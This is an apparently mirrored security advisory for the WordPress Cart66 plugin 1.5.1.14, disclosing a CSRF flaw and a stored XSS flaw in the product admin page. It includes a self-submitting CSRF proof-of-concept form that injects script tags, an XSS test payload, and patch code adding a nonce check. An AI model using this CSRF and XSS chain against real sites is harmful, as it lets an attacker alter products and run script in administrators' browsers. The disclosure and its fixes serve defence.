Wordpress Cart66 Plugin 1.5.1.14 - Multiple Vulnerabilities

🗓️ 14 Oct 2013 00:00:00Reported by absaneType

zdt🔗 0day.today👁 36 Views

'Wordpress Cart66 Plugin 1.5.1.14 - Multiple Vulnerabilities including CSRF and Stored XSS

Reporter	Title	Published	Views	Family All 23
Circl	CVE-2013-5977	14 Oct 201300:00	–	circl
Circl	CVE-2013-5978	14 Oct 201300:00	–	circl
CVE	CVE-2013-5977	1 Nov 201314:00	–	cve
CVE	CVE-2013-5978	11 Dec 201918:36	–	cve
Cvelist	CVE-2013-5977	1 Nov 201314:00	–	cvelist
Cvelist	CVE-2013-5978	11 Dec 201918:36	–	cvelist
Exploit DB	WordPress Plugin Cart66 1.5.1.14 - Multiple Vulnerabilities	14 Oct 201300:00	–	exploitdb
EUVD	EUVD-2013-5807	7 Oct 202500:30	–	euvd
EUVD	EUVD-2013-5808	7 Oct 202500:30	–	euvd
exploitpack	WordPress Plugin Cart66 1.5.1.14 - Multiple Vulnerabilities	14 Oct 201300:00	–	exploitpack

Vulnerabilities:
1) CSRF
2) XSS (Stored)
 
 
VULNERABILITY #1
************
*** CSRF ***
************
Page affected: http://[victim_site]/wordpress/wp-admin/admin.php?page=cart66-products
 
If the Wordpress admin were logged in and clicked on a link hosting code similar to the one in the PoC, then the admin may unknowingly add a product to his site or have an existing product altered. Other possibilities include, but are not limited to, injecting code into a field vulnerable to stored XSS (see the second vulnerability).
 
================
Proof of Concept
================
Host this code on a remote wesbserver different from the Wordpress site that uses Cart66. As an authenticated Wordpress admin user visit the page and add what you will to the fields. A new product is added. In a live attack, the fields will be hidden, prefilled, and some javascript code will auto submit the fields.
 
 
<html><body>
<form name="csrf_form" action="http://192.168.196.135/wordpress/wp-admin/admin.php?page=cart66-products" method="post" enctype="multipart/form-data" id="products-form">
<input type="hidden" name="cart66-action" value="save product" />
<input type="hidden" name="product[id]" value="" />
<input class="long" type="hidden" name='product[name]' id='product-name' value='<script>alert("pwned")</script>' />
<input type='hidden' name='product[item_number]' id='product-item_number' value='1337' />
<input type='hidden' id="product-price" name='product[price]' value='13.37' />
<input type='hidden' id="product-price_description" name='product[price_description]' value='<script>alert(";)")</script>' />
<input type='hidden' id="product-is_user_price" name='product[is_user_price]' value='0' />
<input type="hidden" id="product-min_price" name='product[min_price]' value='' />
<input type="hidden" id="product-max_price" name='product[max_price]' value='' /> 
<input type='hidden' id="product-taxable" name='product[taxable]' value='0'>
<input type='hidden' id="product-shipped" name='product[shipped]' value='1'>
<input type="hidden" id="product-weight" name="product[weight]" value=""  />
<input type="hidden" id="product-min_qty" name='product[min_quantity]' value='' />
<input type="hidden" id="product-max_qty" name='product[max_quantity]' value='' />
<script type="text/javascript">document.csrf_form.submit();</script>
</body></html>
 
 
//////////////////////////////////////////////////////////////////////////////////////////////////////////////
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
 
 
VULNERABILITY #2
*******************
*** Stored XSS  ***
*******************
Page affected: http://[victim_site]/wordpress/wp-admin/admin.php?page=cart66-products in the following input fields:
* Product name
* Price description
 
================
Proof of Concept
================
In the vulnerable fields add <script>alert(0)</script> 
 
The product name XSS vuln is particiularly dangerous because an attacker can use the CSRF vulnerability to add a product whose name is a malicious script. All the admin user needs to do is view the product to be attacked.
 
]....................................[
]..............SOLUTIONS.............[
]....................................[
 
Grab the latest update! Or... 
 
XSS
----
In products.php, replace the line:
$product->setData($_POST['product']);
 
with:
$product->setData(Cart66Common::postVal('product'));
 
CSRF
----
In products.php, replace the following:
 
<form action="admin.php?page=cart66-products" method="post" enctype="multipart/form-data" id="products-form">
  <input type="hidden" name="cart66-action" value="save product" />
  <input type="hidden" name="product[id]" value="<?php echo $product->id ?>" />
  <div id="widgets-left" style="margin-right: 50px;">
    <div id="available-widgets">
 
with:
 
<form action="admin.php?page=cart66-products" method="post" enctype="multipart/form-data" id="products-form">
  <input type="hidden" name="cart66_product_nonce" value="<?php echo wp_create_nonce('cart66_product_nonce'); ?>" />
  <input type="hidden" name="cart66-action" value="save product" />
  <input type="hidden" name="product[id]" value="<?php echo $product->id ?>" />
  <div id="widgets-left" style="margin-right: 50px;">
    <div id="available-widgets">
 
And, in Cart66Product.php replace the validate() function with:
 
  public function validate() {
    $errors = array();
     
    if(!wp_verify_nonce($_POST['cart66_product_nonce'], 'cart66_product_nonce')) {
      $errors['nonce'] = __("An unkown error occured, please try again later","cart66");
    }
    else {
      // Verify that the item number is present
      if(empty($this->item_number)) {
        $errors['item_number'] = __("Item number is required","cart66");
      }
     
      if(empty($this->spreedlySubscriptionId))  {
        $this->spreedlySubscriptionId = 0;
      }
     
      // Verify that no other products have the same item number
      if(empty($errors)) {
        $sql = "SELECT count(*) from $this->_tableName where item_number = %s and id != %d";
        $sql = $this->_db->prepare($sql, $this->item_number, $this->id);
        $count = $this->_db->get_var($sql);
        if($count > 0) {
          $errors['item_number'] = __("The item number must be unique","cart66");
        }
      }
     
      // Verify that if the product has been saved and there is a download path that there is a file located at the path
      if(!empty($this->download_path)) {
        $dir = Cart66Setting::getValue('product_folder');
        if(!file_exists($dir . DIRECTORY_SEPARATOR . $this->download_path)) {
          $errors['download_file'] = __("There is no file available at the download path:","cart66") . " " . $this->download_path;
        }
      }
    }
 
    return $errors;
  }

#  0day.today [2018-02-06]  #

14 Oct 2013 00:00Current

0.5Low risk

Vulners AI Score0.5

EPSS0.02114

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